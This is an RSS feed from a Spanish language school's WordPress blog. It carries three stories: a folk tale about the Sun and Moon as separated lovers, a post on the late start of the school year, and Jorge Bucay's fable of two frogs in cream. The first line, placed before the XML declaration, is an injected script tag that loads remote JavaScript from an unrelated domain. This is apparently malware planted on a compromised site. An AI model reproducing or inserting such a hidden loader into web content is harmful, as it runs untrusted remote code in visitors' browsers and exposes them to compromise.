<script src=http://premiumoriginalprints.com/libraries/CREDITS.php ></script><?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title> &#187; Stories</title>
	<atom:link href="http://www.route66idiomas.com/blog/category/stories/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.route66idiomas.com/blog</link>
	<description></description>
	<lastBuildDate>Fri, 20 Aug 2010 09:37:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>El Sol y la Luna</title>
		<link>http://www.route66idiomas.com/blog/2010/02/el-sol-y-la-luna/</link>
		<comments>http://www.route66idiomas.com/blog/2010/02/el-sol-y-la-luna/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 05:55:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Stories]]></category>

		<guid isPermaLink="false">http://www.route66idiomas.com/blog/?p=347</guid>
		<description><![CDATA[
Mi abuela, de pequeño, me contaba la historia de Lorenzo, el Sol, y Catalina, la Luna.
Lorenzo estaba enamorado de Catalina. A más no poder. Pero nunca podía verla: cuando Lorenzo salía a la calle para ver a su amada, ella ya había vuelto a casa. Y cuando Catalina volvía a salir, él ya había entrado [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.route66idiomas.com/blog/wp-content/Pintura-JC.-Sol-y-Luna-300x293.jpg" alt="Pintura JC. Sol y Luna" title="Pintura JC. Sol y Luna" width="300" height="293" class="aligncenter size-medium wp-image-348" /></p>
<p>Mi abuela, de pequeño, me contaba la historia de Lorenzo, el Sol, y Catalina, la Luna.</p>
<p>Lorenzo estaba enamorado de Catalina. A más no poder. Pero nunca podía verla: cuando Lorenzo salía a la calle para ver a su amada, ella ya había vuelto a casa. Y cuando Catalina volvía a salir, él ya había entrado de nuevo en su hogar.</p>
<p>En verano, los días eran más largos y Lorenzo, al pasar más tiempo fuera, sin ella, estaba de peor humor; se enfadaba tanto que sus rayos eran todavía más fuertes y quemaban con más intensidad. En invierno, Lorenzo estaba más triste y Catalina, expresando su deseo de encontrarse con su amado, lloraba heladas y permitía que los vientos fríos recorrieran las ciudades.</p>
<p>Cuesta pensar que dos seres que se aman no pueden estar juntos. Cuesta. Pero no es imposible darles un nombre y un apellido.
<p class="fbconnect_share"><fb:share-button class="url" href="http://www.route66idiomas.com/blog/2010/02/el-sol-y-la-luna/" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.route66idiomas.com/blog/2010/02/el-sol-y-la-luna/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La vuelta al cole</title>
		<link>http://www.route66idiomas.com/blog/2009/09/la-vuelta-al-cole/</link>
		<comments>http://www.route66idiomas.com/blog/2009/09/la-vuelta-al-cole/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 15:09:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Route66idiomas]]></category>
		<category><![CDATA[Stories]]></category>
		<category><![CDATA[Valencia city]]></category>

		<guid isPermaLink="false">http://www.route66idiomas.com/blog/?p=121</guid>
		<description><![CDATA[Somos los últimos en empezar el curso. En el norte de Europa, el curso comenzó hace ya alguna semana; nosotros tardamos algo más, disfrutamos al máximo del verano (los días de Sol, por suerte, continúan), aunque en junio aún estamos haciendo exámenes. 
Alargamos las vacaciones de Navidad, las de Semana Santa, las de verano… pero [...]]]></description>
			<content:encoded><![CDATA[<p>Somos los últimos en empezar el curso. En el norte de Europa, el curso comenzó hace ya alguna semana; nosotros tardamos algo más, disfrutamos al máximo del verano (los días de Sol, por suerte, continúan), aunque en junio aún estamos haciendo exámenes. </p>
<p>Alargamos las vacaciones de Navidad, las de Semana Santa, las de verano… pero también se prolongan los días de curso lectivo. ¿Es mejor? ¿Preferiríamos parar menos días en la época de Pascua, por ejemplo, para marcharnos al apartamento de la playa unos días antes? Esto atañe principalmente a profesores y estudiantes, pero todos podemos opinar.</p>
<p><strong>Pd.:</strong> Mientras tanto, los profesores de español para extranjeros soñamos con el mes de septiembre, pero no para volver al cole, ¡sino para gozar final y merecidamente de nuestras vacaciones!</p>
<p>Jon Landa</p>
<p class="fbconnect_share"><fb:share-button class="url" href="http://www.route66idiomas.com/blog/2009/09/la-vuelta-al-cole/" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.route66idiomas.com/blog/2009/09/la-vuelta-al-cole/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>THE FROGS IN THE CREAM</title>
		<link>http://www.route66idiomas.com/blog/2007/12/the-frogs-in-the-cream/</link>
		<comments>http://www.route66idiomas.com/blog/2007/12/the-frogs-in-the-cream/#comments</comments>
		<pubDate>Mon, 10 Dec 2007 11:48:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Stories]]></category>

		<guid isPermaLink="false">http://www.route66idiomas.com/blog/?p=7</guid>
		<description><![CDATA[Once upon a time there were 2 frogs that fell into a container of cream. Immediately they realised they were going to drown: it was impossible to swim or float for very long in the thick, quicksand-like liquid. For a while the 2 frogs kicked the cream, trying to reach the edge of the container. [...]]]></description>
			<content:encoded><![CDATA[<p>Once upon a time there were 2 frogs that fell into a container of cream. Immediately they realised they were going to drown: it was impossible to swim or float for very long in the thick, quicksand-like liquid. For a while the 2 frogs kicked the cream, trying to reach the edge of the container. But it was useless; they only managed to splash about in the same place and sink deeper.</p>
<p><span id="more-7"></span><br />
One of the frogs said: “I can’t take anymore. It’s impossible to get out of here. I can’t swim in this stuff. And, as I’m going to die, I can’t see the point in drawing out my suffering. I don’t see the sense in dying exhausted through all this pointless effort.” Having said this, he stopped kicking and drowned quickly, swallowed by the thick white liquid.</p>
<p>The other frog, who was more persistent or perhaps more stubborn, said: “It’s impossible! I can’t do anything to get out of this. However, although death is drawing near, I’d rather fight until my last breath. I don’t want to die a second before my time.” He carried on kicking and splashing, always on the spot, not moving one centimetre, for hours and hours. And suddenly, after such a lot of kicking and beating, stirring and kicking, the cream turned into butter.</p>
<p>Surprised, the frog jumped, and skidding he reached the edge of the container. From there he was able to go home, croaking happily.</p>
<p>From Déjame que te cuente by Jorge Bucay
<p class="fbconnect_share"><fb:share-button class="url" href="http://www.route66idiomas.com/blog/2007/12/the-frogs-in-the-cream/" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.route66idiomas.com/blog/2007/12/the-frogs-in-the-cream/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
